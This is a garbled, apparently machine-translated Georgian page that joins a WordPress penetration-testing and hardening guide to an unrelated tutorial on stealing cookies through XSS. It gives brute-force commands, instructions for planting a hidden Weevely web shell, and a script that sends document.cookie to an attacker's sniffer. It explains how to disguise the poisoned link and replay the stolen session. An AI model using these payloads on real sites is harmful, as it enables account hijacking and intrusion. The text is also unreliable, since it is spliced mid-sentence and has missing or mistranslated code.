როგორ მოვიპაროთ ქუქიები. ქუქიების მოპარვის მარტივი გზა

მთავარი / მოწყობილობის ინსტალაცია

WordPress არის მოსახერხებელი ბლოგის პლატფორმა სტატიების გამოქვეყნებისა და მართვისთვის, რომელზედაც დაფუძნებულია უამრავი სხვადასხვა საიტი. მისი გავრცელების გამო, ეს CMS დიდი ხანია არის გემრიელი ნაჭერი თავდამსხმელებისთვის. სამწუხაროდ, ძირითადი პარამეტრები არ იძლევა დაცვის საკმარის დონეს, რის გამოც ბევრი ნაგულისხმევი ხვრელი დახურულია. ამ სტატიაში ჩვენ გავივლით WordPress საიტის „ტიპიური“ გატეხვის ტიპურ გზას და ასევე ვაჩვენებთ, თუ როგორ უნდა აღმოიფხვრას გამოვლენილი დაუცველობა.

შესავალი

დღეს WordPress არის ყველაზე პოპულარული კონტენტის მართვის სისტემა. მისი წილი შეადგენს CMS ძრავების გამოყენებით საიტების მთლიანი რაოდენობის 60.4%-ს. აქედან, სტატისტიკის მიხედვით, საიტების 67.3% ეფუძნება უახლესი ვერსიამოცემული პროგრამული უზრუნველყოფა. იმავდროულად, ვებ ძრავის არსებობის თორმეტი წლის განმავლობაში, მასში აღმოაჩინეს 242 სხვადასხვა სახის დაუცველობა (მესამე მხარის დანამატებსა და თემებში აღმოჩენილი დაუცველობის გამოკლებით). და მესამე მხარის დანამატების სტატისტიკა კიდევ უფრო სევდიანად გამოიყურება. ამრიგად, კომპანია Revisium-მა გააანალიზა 2350 რუსიფიცირებული WordPress შაბლონი, რომლებიც აღებულია სხვადასხვა წყაროდან. შედეგად, მათ აღმოაჩინეს, რომ ნახევარზე მეტი (54%) ინფიცირებული იყო ვებ ჭურვებით, უკანა კარებით, blackhat SEO („სპამი“) ბმულებით და ასევე შეიცავდა კრიტიკულ დაუცველობის მქონე სკრიპტებს. ასე რომ, თავი კომფორტულად იგრძნოთ, ახლა ჩვენ გავარკვევთ, თუ როგორ მოვახდინოთ WordPress საიტის აუდიტი და აღმოვფხვრათ აღმოჩენილი ხარვეზები. ჩვენ გამოვიყენებთ ვერსიას 4.1 (რუსიფიცირებული).

საიტის ინდექსირება

ნებისმიერი ტესტის პირველი ნაბიჯი ჩვეულებრივ არის ინფორმაციის შეგროვება სამიზნეზე. და ეს არის ის, სადაც ის ხშირად ეხმარება. არასწორი პარამეტრისაიტის ინდექსირება, რომელიც საშუალებას აძლევს არაავტორიზებულ მომხმარებლებს ნახონ საიტის ცალკეული განყოფილებების შინაარსი და, მაგალითად, მიიღონ ინფორმაცია დაინსტალირებული დანამატებიდა თემები, ასევე კონფიდენციალურ მონაცემებზე წვდომა ან სარეზერვო ასლებიმონაცემთა ბაზები. იმის შესამოწმებლად, რომელი დირექტორიები ჩანს გარედან, უმარტივესი გზაა Google-ის გამოყენება. საკმარისია დასრულება Google-ის შეკითხვა Dorks მოსწონს site:example.com intitle:"index of" inurl:/wp-content/. შემდეგი დირექტორიები შეიძლება მითითებული იყოს inurl-ში: განცხადებაში:

/wp-content/ /wp-content/languages/plugins /wp-content/languages/themes /wp-content/plugins/ /wp-content/themes/ /wp-content/ატვირთვები/

თუ შეგიძლიათ ნახოთ /wp-content/plugins/, დაინსტალირებული დანამატებისა და მათი ვერსიების შესახებ ინფორმაციის შეგროვების შემდეგი ნაბიჯი ბევრად უფრო ადვილია. ბუნებრივია, შეგიძლიათ გამორთოთ ინდექსირება robots.txt ფაილის გამოყენებით. ვინაიდან ნაგულისხმევად ის არ შედის WordPress-ის ინსტალაციის პაკეტში, თქვენ თვითონ უნდა შექმნათ იგი და განათავსოთ საიტის root დირექტორიაში. საკმაოდ ბევრი სახელმძღვანელოა robots.txt ფაილის შექმნისა და მუშაობის შესახებ, ამიტომ ამ თემას დავტოვებ თვითმომზადებისთვის. მე მივცემ მხოლოდ ერთ შესაძლო ვარიანტს:

მომხმარებლის აგენტი: * აკრძალვა: /cgi-bin დაშვება: /wp-login.php აკრძალვა: /wp-admin/ აკრძალვა: /wp-includes/ აკრძალვა: /wp-content/ აკრძალვა: /wp-content/plugins/ არ დაუშვას : /wp-content/themes/ აკრძალვა: /?author=* დაშვება: /

თუ ატვირთვების საქაღალდეში შენახული ფაილები შეიცავს კონფიდენციალურ ინფორმაციას, დაამატეთ სტრიქონი ამ სიაში: Disallow: /wp-content/uploads/.
მეორე მხრივ, არ არის რეკომენდებული robots.txt ფაილში დირექტორიების ბმულების განთავსება, რომლებიც სპეციალურად შეიქმნა მგრძნობიარე ინფორმაციის შესანახად. წინააღმდეგ შემთხვევაში, ამით თქვენ გაუადვილებთ თავდამსხმელს დავალებას, რადგან ეს არის პირველი ადგილი, სადაც ყველა ჩვეულებრივ ეძებს რაიმე „საინტერესო“ ძიებას.

WordPress ვერსიის განსაზღვრა

კიდევ ერთი მნიშვნელოვანი ნაბიჯი არის იდენტიფიკაცია CMS ვერსიები. წინააღმდეგ შემთხვევაში, როგორ ავირჩიოთ შესაფერისი ექსპლოიტი? არის სამი სწრაფი გზებისაიტზე გამოყენებული WordPress-ის ვერსიის დასადგენად:

  • იპოვე შიგნით წყარო კოდიგვერდები. გენერატორის მეტატეგში მითითებულია:

    ან ტეგებში:

  • იპოვეთ readme.html ფაილში (ნახ. 1), რომელიც შედის საინსტალაციო პაკეტში და მდებარეობს საიტის root-ში. ფაილს შეიძლება ჰქონდეს სხვა სახელები, როგორიცაა readme-ja.html.
  • იპოვეთ ფაილში ru_RU.po (ნახ. 2), რომელიც შედის ინსტალაციის პაკეტში და მდებარეობს მისამართზე /wp-content/languages/: "Project-Id-Version: WordPress 4.1.1\n"

  • დაცვის ერთ-ერთი ვარიანტი ამ შემთხვევაში- შეზღუდეთ წვდომა readme.html და ru_RU.po ფაილებზე .htaccess-ის გამოყენებით.

    ტესტირების პროცესის ავტომატიზაცია

    WordPress-ის უსაფრთხოების კვლევა გუშინ არ დაწყებულა, ამიტომ არის საკმარისი რაოდენობის ხელსაწყოები, რომლებიც საშუალებას გაძლევთ ავტომატიზირდეთ რუტინული ამოცანები.

    • ვერსიისა და თემის აღმოჩენა სკრიპტის http-wordpress-info nmap -sV --script http-wordpress-info
    • პაროლის გამოცნობა ლექსიკონების გამოყენებით nmap -p80 --script http-wordpress-brute --script-args "userdb=users.txt,passdb=passwords.txt" example.com
    • ვერსიის განსაზღვრის მოდული: დამხმარე/სკანერი/http/wordpress_scanner ;
    • მოდული მომხმარებლის სახელის დასადგენად დამხმარე/სკანერი/http/wordpress_login_enum.
    • დაინსტალირებული დანამატების ჩამონათვალი: wpscan --url www.exmple.com --enumerate p ;
    • დაინსტალირებული თემების ჩამონათვალი: wpscan --url www.exmple.com --enumerate t ;
    • ჩამოთვალეთ დაინსტალირებული დროები: wpscan --url www.example.com --enumerate tt ;
    • მომხმარებლის სახელის განსაზღვრა: wpscan --url www.example.com --enumerate u ;
    • პაროლის შერჩევა ლექსიკონის გამოყენებით ადმინისტრატორის მომხმარებლისთვის: wpscan --url www.example.com --wordlist wordlist.txt --username admin ;
    • პაროლის გამოცნობა მომხმარებლის სახელის/პაროლის კომბინაციის გამოყენებით ძაფების 50-ის ტოლი რაოდენობით: wpscan --url www.example.com --wordlist wordlist.txt --თემები 50 .
    დამონტაჟებული კომპონენტების განსაზღვრა

    ახლა მოდით შევაგროვოთ ინფორმაცია დაინსტალირებული დანამატებისა და თემების შესახებ, გააქტიურებულია თუ არა ისინი. უპირველეს ყოვლისა, ასეთი ინფორმაციის ამოღება შესაძლებელია HTML გვერდის საწყისი კოდიდან, მაგალითად, JavaScript ბმულებიდან, კომენტარებიდან და CSS ტიპის რესურსებიდან, რომლებიც იტვირთება გვერდზე. ეს არის უმარტივესი გზა დაყენებული კომპონენტების შესახებ ინფორმაციის მისაღებად. მაგალითად, ქვემოთ მოცემული სტრიქონები მიუთითებს გამოყენებული ოცდათერთმეტი თემის შესახებ:

    ვინაიდან ინფორმაცია დანამატების შესახებ ყოველთვის არ არის ნაჩვენები HTML გვერდის საწყის კოდში, შეგიძლიათ დაადგინოთ დაინსტალირებული კომპონენტები WPScan უტილიტას გამოყენებით (იხილეთ გვერდითი ზოლი). უბრალოდ არ დაგავიწყდეთ, რომ მოდულის ბილიკების ძიება ჩაიწერება ვებ სერვერის ჟურნალებში.
    დაინსტალირებული კომპონენტების შესახებ მონაცემების მიღების შემდეგ, შეგიძლიათ დაიწყოთ მოწყვლადობის ძებნა დამოუკიდებლად ან იპოვოთ საჯაროდ ხელმისაწვდომი ექსპლოიტები რესურსებზე, როგორიცაა rapid7 ან exploit-db.

    მომხმარებლის სახელის განსაზღვრა

    ნაგულისხმევად, WordPress ანიჭებს თითოეულ მომხმარებელს უნიკალურ ID-ს, რომელიც წარმოდგენილია რიცხვის სახით: example.com/?author=1 . ნომრების დახარისხებით თქვენ განსაზღვრავთ საიტის მომხმარებლების სახელებს. ანგარიშიადმინისტრატორის ადმინისტრატორი, რომელიც იქმნება პროცესის დროს WordPress ინსტალაციები, მოდის ნომერ 1-ში, ამიტომ რეკომენდებულია მისი ამოღება, როგორც დამცავი ღონისძიება.

    უხეში ძალა wp-login

    მომხმარებლის სახელის ცოდნა, შეგიძლიათ სცადოთ გამოიცნოთ ადმინისტრაციული პანელის პაროლი. WordPress-ის შესვლის ფორმა wp-login.php გვერდზე ძალიან ინფორმაციულია (ნახ. 3), განსაკუთრებით თავდამსხმელისთვის: თუ არასწორ მონაცემებს შეიყვანთ, კონკრეტული მომხმარებლისთვის არასწორი მომხმარებლის სახელი ან პაროლი გამოჩნდება. დეველოპერებმა იციან ამ ფუნქციის შესახებ, მაგრამ გადაწყვიტეს დაეტოვებინათ იგი, რადგან ასეთი შეტყობინებები მოსახერხებელია იმ მომხმარებლებისთვის, რომლებმაც შესაძლოა დაივიწყონ შესვლა და/ან პაროლი. პაროლის გამოცნობის პრობლემა შეიძლება მოგვარდეს გამოყენებით ძლიერი პაროლი, რომელიც შედგება თორმეტი ან მეტი სიმბოლოსგან და დიდი ასოების ჩათვლით და პატარა ასო, რიცხვები და სპეციალური სიმბოლოები. ან, მაგალითად, Login LockDown მოდულის გამოყენებით.

    შეავსეთ Shell

    პაროლის გადატვირთვის შემდეგ, არაფერი გვიშლის ხელს, ატვირთოთ ჭურვი კომპრომეტირებულ ვებ რესურსზე. ამ მიზნებისთვის Weevely-ის ჩარჩო საკმაოდ შესაფერისია, რაც საშუალებას გაძლევთ შექმნათ ჭურვი ბუნდოვანი ფორმით, რაც მის გამოვლენას საკმაოდ ართულებს. ეჭვის გაჩენის თავიდან ასაცილებლად, მიღებული კოდი შეიძლება ჩასვათ ნებისმიერ თემატურ ფაილში (მაგალითად, index.php) WordPress-ის კონსოლის თემის რედაქტორის მეშვეობით. შემდეგ, იგივე Weevely-ის გამოყენებით, შეგიძლიათ დაუკავშირდეთ მსხვერპლის მანქანას და გამოიძახოთ სხვადასხვა ბრძანებები:

    Python weevely.py http://test/index.php Pa$$w0rd [+] weevely 3.1.0 [+] Target:test [+] სესია: _weevely/sessions/test/index_0.session [+] დაათვალიერეთ ფაილური სისტემა ან შეასრულოს ბრძანებები იწყებს კავშირს [+] მიზანთან. ტიპი:დახმარება დამატებითი ინფორმაციისთვის. weevely>:help

    Connect.htaccess

    სენსიტიურ ინფორმაციაზე წვდომის უარსაყოფად, უმჯობესია გამოიყენოთ .htaccess ფაილი - ეს არის კონფიგურაციის ფაილი, რომელიც გამოიყენება Apache Web Server-ში. მოდით განვიხილოთ ამ ფაილის შესაძლებლობები უსაფრთხოების თვალსაზრისით. მისი დახმარებით თქვენ შეგიძლიათ: უარყოთ წვდომა დირექტორიებსა და ფაილებზე, დაბლოკოთ სხვადასხვა SQL ინექციები და მავნე სკრიპტები. ამ მიზნით, სტანდარტული .htaccess ფაილი CMS WordPress 4.1 ცოტა უნდა გაფართოვდეს. ფაილების და საქაღალდეების სიის დახურვისთვის დაამატეთ:

    ოფციები +FollowSymLinks -ინდექსები

    RewriteCond %(QUERY_STRING) base64_encode[^(]*\([^)]*\) დაბლოკავს Base64 კოდირების შემცველ ბმულებს. მოიშორეთ თეგის შემცველი ბმულები:

    RewriteCond %(QUERY_STRING) (|%3E)

    მრიცხველის სკრიპტები, რომლებიც ცდილობენ დააყენონ გლობალური ცვლადები ან შეცვალონ _REQUEST ცვლადი URL-ით:

    RewriteCond %(QUERY_STRING) GLOBALS (=|\[|\%(0,2)) RewriteCond %(QUERY_STRING) _REQUEST (=|\[|\%(0,2))

    SQL ინექციების საწინააღმდეგოდ, ჩვენ ვბლოკავთ მოთხოვნებს URL-ებზე, რომლებიც შეიცავს გარკვეულ საკვანძო სიტყვებს:

    RewriteCond %(query_string) concat.*\( RewriteCond %(query_string) union.*select.*\(RewriteCond %(query_string) union.*all.*აირჩიეთ RewriteRule ^(.*)$ index.php

    საერთო ჰაკერების კომუნალური სერვისების სიცოცხლის გასანადგურებლად, ჩვენ ვფილტრავთ მომხმარებლის გარკვეულ აგენტებს:

    SetEnvIf მომხმარებლის აგენტი "Indy Library" stayout=1 SetEnvIf მომხმარებლის აგენტი "libwww-perl" stayout=1 SetEnvIf მომხმარებლის აგენტი "Wget" stayout=1 უარყოფა env=stayout-დან

    ფაილების დაცვა

    ასევე კარგი იდეა იქნება შეზღუდოთ წვდომა განსაკუთრებით მნიშვნელოვან ფაილებზე, რომლებიც ინახავენ კონფიგურაციას ან უბრალოდ შეუძლიათ თავდამსხმელს გარკვეული ინფორმაციის მიწოდება. შეიძლება გამოიყოს შემდეგი კანდიდატები:

    • wp-config.php , შეიცავს მონაცემთა ბაზის სახელს, მომხმარებლის სახელს, პაროლს და ცხრილის პრეფიქსს;
    • .htaccess ;
    • readme.html და ru_RU.po, რომლებიც შეიცავს WordPress ვერსიას;
    • დააინსტალირეთ.php .

    ეს კეთდება შემდეგნაირად:

    შეუკვეთეთ ნება, უარყოთ ყველასგან

    უფრო მეტიც, .htaccess ფაილი, რომელიც შეიცავს ამ ხაზებს, უნდა განთავსდეს იმავე დირექტორიაში, სადაც დაცული ფაილი. შემდეგ ჩვენ ვკრძალავთ მომხმარებლების სიას (გახსოვდეთ, ზემოთ ვისაუბრეთ იმაზე, თუ რამდენად ადვილია მომხმარებლების სიის მიღება?):

    RewriteCond %(QUERY_STRING) ავტორი=\d RewriteRule ^ /?

    მაშ, კიდევ რა? თქვენ შეგიძლიათ დაუშვათ შესვლა მხოლოდ მითითებული IP მისამართებიდან. ამისათვის შექმენით .htaccess ფაილი wp-admin საქაღალდეში შემდეგი წესებით:

    AuthUserFile /dev/null AuthGroupFile /dev/null AuthName "Access Control" AuthType ძირითადი შეკვეთის უარყოფა, დაშვება ყველა დაშვებიდან 178.178.178.178 # სახლის კომპიუტერის IP დაშვება 248.248.248.248 # სამუშაო კომპიუტერიდან

    მეთოდი არ არის ძალიან მოქნილი და გამოიყენება მხოლოდ იმ შემთხვევაში, თუ თქვენ მუშაობთ შეზღუდული რაოდენობის ფიქსირებული IP მისამართებით. IN წინააღმდეგ შემთხვევაშირეკომენდებულია wp-admin საქაღალდის პაროლის დაყენება ჰოსტინგის პანელის მეშვეობით (თუ ასეთი ფუნქციონირება ხელმისაწვდომია).

    დამატებითი ზომები

    რაც ზემოთ ითქვა, შეიძლება დაემატოს შემდეგი რეკომენდაციები. პირველი, გამოიყენეთ მხოლოდ მიმდინარე ვერსიები WordPress და მისი კომპონენტები - ეს აღმოფხვრის ცნობილ დაუცველობას. მეორეც, წაშალეთ გამოუყენებელი დანამატები და თემები, რომელთა გამოყენებაც შესაძლებელია. მესამე, ჩამოტვირთეთ თემები და WordPress დანამატებისანდო წყაროებიდან, როგორიცაა დეველოპერის საიტები და ოფიციალური WordPress საიტი. ისევე, როგორც თქვენი სახლის კომპიუტერი, თქვენ პერიოდულად უნდა შეამოწმოთ თქვენი ვებ რესურსი ვებ ანტივირუსით, მაგალითად AI-Bolit. თუ თქვენ გაქვთ წვდომა ვებ სერვერზე, დააკონფიგურირეთ წვდომის უფლებები ფაილებსა და დირექტორიებზე. როგორც წესი, WordPress აყენებს ყველა საჭირო უფლებას ინსტალაციის ეტაპზე, მაგრამ საჭიროების შემთხვევაში, chmod შეიძლება ხელით დაყენდეს. დირექტორიებისთვის - chmod 755, ფაილებისთვის - chmod 644. დარწმუნდით, რომ 777 უფლებები ენიჭება მხოლოდ ობიექტებს, რომლებსაც ეს სჭირდებათ (ზოგჯერ ეს აუცილებელია ნორმალური ოპერაციაზოგიერთი დანამატი). თუ WordPress შეწყვეტს ნორმალურ ფუნქციონირებას, ექსპერიმენტი გააკეთეთ წვდომის უფლებებით: ჯერ სცადეთ 755, შემდეგ 766 და ბოლოს 777. ყველა htaccess ფაილისთვის დააყენეთ chmod 444 (მხოლოდ წაკითხვა). თუ საიტი შეწყვეტს მუშაობას, სცადეთ ექსპერიმენტი 400, 440, 444, 600, 640, 644 მნიშვნელობებით.

    გადაიტანეთ wp-config.php ფაილი. ეს ფაილიშეიცავს ინფორმაციას MySQL პარამეტრების, ცხრილის პრეფიქსის, საიდუმლო გასაღებების შესახებ და ა.შ. ამიტომ, ის უნდა გადაიტანოთ ისე, რომ ფაილი არ იყოს ხელმისაწვდომი ინტერნეტიდან. თუ საიტი არ არის განთავსებული public_html საქაღალდეში, მაშინ გადაიტანეთ wp-config.php ფაილი უფრო მაღალ საქაღალდეში და WordPress ავტომატურად იპოვის მას ამ root დირექტორიაში (გამოიყენება, თუ ჰოსტინგს აქვს მხოლოდ ერთი საიტი ამ CMS-ზე).

    იმისათვის, რომ გართულდეს გარსის შევსება, გამორთეთ თემის რედაქტირების შესაძლებლობა WordPress კონსოლის საშუალებით. ამისათვის ჩადეთ შემდეგი სტრიქონი wp-config.php ფაილში: define("DISALLOW_FILE_EDIT", true); .

    კიდევ ერთი სუსტი წერტილი არის install.php ფაილი (რომელიც wp-admin საქაღალდეშია). ამიტომ, უმჯობესია წაშალოთ, დაბლოკოთ ან შეცვალოთ იგი. გააკეთეთ ერთ-ერთი ვარიანტი:

  • უბრალოდ წაშალე ეს ფაილი - ინსტალაციის შემდეგ ის აღარ არის საჭირო.
  • უარი თქვით ფაილზე წვდომაზე .htaccess-ის გამოყენებით.
  • გადარქმევა ორიგინალური ფაილი install.php (მაგალითად install.php.old) და შექმნა ახალი ფაილი install.php შემდეგი შინაარსით: Error Establishing Database Connection

    ამჟამად ჩვენ ვაწყდებით მონაცემთა ბაზის პრობლემებს. გთხოვთ გადაამოწმოთ მალე. გმადლობთ.

  • საიტის ვიზიტორების შეტყობინების გარდა, ეს სკრიპტი ასრულებს შემდეგ მოქმედებებს:

    • უგზავნის სტატუსის კოდს 503 კლიენტს და საძიებო სისტემებს („მომსახურება დროებით მიუწვდომელია“);
    • მიუთითებს დროის პერიოდზე, რომლის შემდეგაც კლიენტები და საძიებო სისტემებიშეუძლია დაბრუნდეს საიტზე (მორგებადი პარამეტრი);
    • აცნობებს მიერ ელმონაცემთა ბაზის პრობლემის შესახებ, რათა მოხდეს შესაბამისი ზომების მიღება.

    ფაქტია, რომ WordPress-ის ადრინდელ ვერსიებში (alert() და დააჭირეთ "ძებნას"
    ჩნდება ფანჯარა xss-ით, რაც ნიშნავს, რომ xss არის (ალბათ ამ სტატიის წაკითხვისას ეს xss უკვე წაშლილია).

    2.2.აქტიური XSS
    ასეთი css შეიძლება იყოს, მაგალითად, პროფილის ველებში, ახალი ამბების სათაურში და თავად ახალ ამბებში (ნაკლებად ხშირად), შეტყობინებებში ფორუმებზე/ჩეთის ოთახებში/სტუმრებში ჩართული html-ით. აქ ყველაფერი მარტივია, წინა ქვეპუნქტის სკრიპტს ვდებთ ველებში და თუ შეტყობინება ეკრანზე გამოჩნდება, მაშინ დაუცველობა არსებობს.
    მოდით გადავხედოთ xss-ს BB ტეგებში ფორუმებზე.
    თქვენ შეგიძლიათ სცადოთ უბრალოდ ჩასვათ javascript კოდი ტეგში, მაგალითად ასე:
    javascript:alert('xss')
    ზოგიერთ ტეგს აქვს პარამეტრები, მაგალითად ტეგს აქვს dynsrc და lowsrc პარამეტრები, შევეცადოთ ჩავანაცვლოთ კოდი ასე:
    http://www.site.ru/image.jpg dynsrc=javascript:alert('xss')
    თუ სკრიპტი მუშაობდა, xss არის იქ

    3. XSS-ის გამოყენება ქუქიების მოსაპარად
    ახლა ყველაზე გემრიელი))))
    იმისათვის, რომ მოვიპაროთ ქუქიები, გვჭირდება ვებ-სნაიფერი, შეგიძლიათ დააინსტალიროთ რაიმე სახის სნაიფერი თქვენს ჰოსტინგზე, ან შეგიძლიათ გამოიყენოთ ონლაინ სნაიფერი, რომელიც ახლა უამრავია.
    პასიური XSS-ის საშუალებით ქუქიების მოსაპარად, მსხვერპლმა უნდა დაიცვას შხამიანი ბმული. ქუქიების მოსაპარად ჩვენ გამოვიყენებთ სხვა სკრიპტს alert('xss') ნაცვლად:
    img = ახალი სურათი ();


    ჩვენ ვცვლით სკრიპტს ლინკში და ვაძლევთ მსხვერპლს ნებას მიჰყვეს მას, შეხედეთ სნიფერის ჟურნალს და გაიხარეთ.
    მოდით შევხედოთ მაგალითს.
    ავიღოთ ის XSS Rambler-ზე წინა აბზაციდან.
    ჩვენ ჩავსვით
    ">
    img = ახალი სურათი ();
    img.src = "sniffer სურათის მისამართი"+document.cookie;

    საძიებო ფორმაში დააწკაპუნეთ „ძებნა“, გადახედეთ მისამართების ზოლს და ნახეთ:

    http://miss.rambler.ru/srch/?sort=0& … &words =">
    ჩვენ ვუგზავნით ამ ბმულს მსხვერპლს და ვსარგებლობთ ქუქიებით.
    ასეთი ბმულის დანახვისას მსხვერპლმა შეიძლება რაღაც იეჭვოს, ამიტომ მიზანშეწონილია დაშიფვრა
    ">img = new Image();img.src = "sniffer image address"+document.cookie;
    URL-ში ან გამოიყენეთ სერვისები, როგორიცაა http://tinyurl.com/
    გადავიდეთ აქტიურ XSS-ზე, აქ ყველაფერი მარტივია, alert()-ის ნაცვლად ჩავსვით img = new Image();img.src = "sniffer image-ის მისამართი"+document.cookie;

    ახლა ჩვენ გვაქვს ქუქიები. მაგრამ რა უნდა გააკეთოს მათთან? ეს მარტივია, თქვენ უნდა შეცვალოთ ისინი საკუთარის ნაცვლად. IN ოპერის ბრაუზერიარის ჩაშენებული ქუქიების რედაქტორი (ინსტრუმენტები->მოწინავე->ქუქიების მენეჯმენტი), არის პლაგინი firefox-ისთვის (არ მახსოვს რა ქვია, გამოიყენე გუგლი)
    ჯერ სულ ესაა, ალბათ სტატიას დაემატება

    სურათზე ჩანს, რომ ქუქი შეიცავს ხაზს wordpress_logged_in_263d663a02379b7624b1028a58464038=admin. ეს მნიშვნელობა არის დაშიფრული სახით ქუქი-ფაილში და მისი ადვილად ამოღება შესაძლებელია Achilles უტილიტის გამოყენებით, მაგრამ უმეტეს შემთხვევაში Achilles-ში შეგიძლიათ ნახოთ მხოლოდ კონკრეტული ჩანაწერის ჰეში. სერვერზე მოთხოვნის გაგზავნამდე შეგიძლიათ სცადოთ ამ ხაზის შეცვლა ნებისმიერი მსგავსით (თუმცა ამ შემთხვევაში აზრი არ აქვს) - მცდელობების რაოდენობა შეზღუდული არ არის. შემდეგ ამ მოთხოვნის სერვერზე გაგზავნით გაგზავნის ღილაკის გამოყენებით, შეგიძლიათ მიიღოთ პასუხი ადმინისტრატორისთვის განკუთვნილი სერვერისგან.

    წინა მაგალითში შეგიძლიათ გამოიყენოთ პირდაპირი მომხმარებლის ID გაყალბება. გარდა ამისა, პარამეტრის სახელს, რომლის მნიშვნელობის ჩანაცვლება უზრუნველყოფს დამატებითი ფუნქციებიჰაკერი, შეიძლება იყოს შემდეგი: მომხმარებელი (მაგალითად, USER=JDOE), ნებისმიერი გამონათქვამი ID სტრიქონით (მაგალითად, USER=JDOE ან SESSIONID=BLAHBLAH), ადმინისტრატორი (მაგალითად, ADMIN=TRUE), სესია (მაგალითად. , SESSION=ACTIVE), კალათა (მაგალითად, CART=FULL), ასევე გამონათქვამები, როგორიცაა TRUE, FALSE, ACTIVE, INACTIVE. როგორც წესი, ქუქიების ფორმატი ძალიან არის დამოკიდებული იმ აპლიკაციაზე, რომლისთვისაც ისინი გამოიყენება. თუმცა, ეს რჩევები აპლიკაციის ხარვეზების მოსაძებნად ქუქიების გამოყენებით ვრცელდება თითქმის ყველა ფორმატზე.

    კლიენტის მხრიდან კონტრზომები ქუქიების ამოღების წინააღმდეგ

    IN ზოგადი შემთხვევამომხმარებლები ფრთხილად უნდა იყვნენ ვებსაიტების მიმართ, რომლებიც იყენებენ ქუქი-ფაილებს ავთენტიფიკაციისთვის და მგრძნობიარე მონაცემების შესანახად. ასევე მნიშვნელოვანია გვახსოვდეს, რომ ვებსაიტმა, რომელიც იყენებს ქუქი-ფაილებს ავტორიზაციისთვის, უნდა ჰქონდეს მინიმუმ მხარდაჭერა SSL პროტოკოლიმომხმარებლის სახელისა და პაროლის დაშიფვრა, რადგან ამ პროტოკოლის არარსებობის შემთხვევაში მონაცემები გადაიცემა დაუშიფრული ფორმით, რაც საშუალებას აძლევს მათ ჩაჭრას უმარტივესი გზით პროგრამული უზრუნველყოფაქსელში გაგზავნილი მონაცემების სანახავად.

    Kookaburra Software-მა შეიმუშავა ინსტრუმენტი ქუქიების გამოყენების გასაადვილებლად. ხელსაწყოს ჰქვია CookiePal (http://www.kburra.com/cpal.html (იხ. www.kburra.com)). ეს პროგრამაშექმნილია იმისთვის, რომ გააფრთხილოს მომხმარებელი, როდესაც ვებსაიტი ცდილობს დააინსტალიროს ქუქი ფაილი მოწყობილობაზე და მომხმარებელს შეუძლია დაუშვას ან უარყოს ეს მოქმედება. მსგავსი თვისებებიქუქიების დაბლოკვა დღეს ხელმისაწვდომია ყველა ბრაუზერში.

    ვებ ბრაუზერის განახლებების რეგულარული დაყენების კიდევ ერთი მიზეზი არის ის, რომ ამ პროგრამებში უსაფრთხოების ხარვეზები მუდმივად იდენტიფიცირებულია. ასე რომ, ბენეტ ჰეისელტონმა და ჯეიმი მაკკარტიმ შექმნეს სკრიპტი, რომელიც ბმულზე დაწკაპუნების შემდეგ იღებს ქუქი-ფაილებს კლიენტის აპარატიდან. შედეგად, ქუქიების ყველა შიგთავსი, რომელიც მომხმარებლის აპარატზეა, ხელმისაწვდომი გახდება.

    ამ ტიპის ჰაკი ასევე შეიძლება განხორციელდეს ვებ გვერდის HTML ტექსტში (ან HTML შინაარსში) ჩაშენებული სახელურის გამოყენებით ელან ახალი ამბების ჯგუფები) ქუქიების მოსაპარად. განვიხილოთ შემდეგი მაგალითი:

    იმის უზრუნველსაყოფად, რომ მსგავსი რამ ჩვენს პერსონალურ მონაცემებს საფრთხეს არ შეუქმნის, ამას მე თვითონ ვაკეთებ და ყველას ვურჩევ, ყოველთვის განაახლონ HTML კოდით მომუშავე პროგრამული უზრუნველყოფა (ელ.ფოსტის კლიენტები, მედია ფლეერები, ბრაუზერები და ა.შ.).

    ბევრს ურჩევნია უბრალოდ ქუქიების დაბლოკვა, მაგრამ ვებსაიტების უმეტესობა მოითხოვს ქუქიების დათვალიერებას. დასკვნა - თუ უახლოეს მომავალში გამოჩნდება ინოვაციური ტექნოლოგია, რომელიც საშუალებას მოგცემთ გააკეთოთ ქუქიების გარეშე, პროგრამისტები და ადმინისტრატორები შვებით ამოისუნთქებენ, მაგრამ ჯერჯერობით ქუქიები ჰაკერისთვის გემრიელ ნამცხვრად რჩება! ეს მართალია, რადგან უკეთესი ალტერნატივა ჯერ არ არსებობს.

    სერვერის მხრიდან კონტრზომები

    რაც შეეხება სერვერის უსაფრთხოების უზრუნველსაყოფად რეკომენდაციებს, ექსპერტები აძლევენ ერთ მარტივ რჩევას: არ გამოიყენოთ ქუქიების მექანიზმი, გარდა იმ შემთხვევებისა, როცა აბსოლუტურად აუცილებელია! განსაკუთრებული სიფრთხილეა საჭირო ქუქიების გამოყენებისას, რომლებიც რჩება მომხმარებლის სისტემაში კომუნიკაციის სესიის დასრულების შემდეგ.

    რა თქმა უნდა, მნიშვნელოვანია გვესმოდეს, რომ ქუქიების გამოყენება შესაძლებელია ვებ სერვერების უსაფრთხოების უზრუნველსაყოფად მომხმარებლის ავთენტიფიკაციისთვის. თუ თქვენს აპლიკაციას სჭირდება ქუქიების გამოყენება, თქვენ უნდა დააკონფიგურიროთ ქუქი-ჩანაწერების მექანიზმი ისე, რომ გამოიყენოს სხვადასხვა გასაღებები მოქმედების ხანმოკლე პერიოდით ყოველი სესიისთვის და შეეცადოთ არ ჩადოთ ინფორმაცია ამ ფაილებში, რომელიც შეიძლება ჰაკერებმა გამოიყენონ ჰაკერებისთვის (როგორიცაა ADMIN= მართალია).

    გარდა ამისა, უფრო მეტი უსაფრთხოების უზრუნველსაყოფად მუშაობისას ფუნთუშებითქვენ შეგიძლიათ გამოიყენოთ დაშიფვრა მოპოვების თავიდან ასაცილებლად მნიშვნელოვანი ინფორმაცია. რა თქმა უნდა, დაშიფვრა არ წყვეტს უსაფრთხოების ყველა პრობლემას ქუქიების ტექნოლოგიასთან მუშაობისას, მაგრამ ეს მეთოდი თავიდან აიცილებს ზემოთ აღწერილ ყველაზე ძირითად ჰაკერებს.

    ნამცხვრები- ინფორმაცია ფორმაში ტექსტური ფაილი, ინახება მომხმარებლის კომპიუტერში ვებსაიტის მიერ. შეიცავს ავთენტიფიკაციის მონაცემებს (შესვლა/პაროლი, ID, ტელეფონის ნომერი, მისამართი საფოსტო ყუთი), მომხმარებლის პარამეტრები, წვდომის სტატუსი. ინახება ბრაუზერის პროფილში.

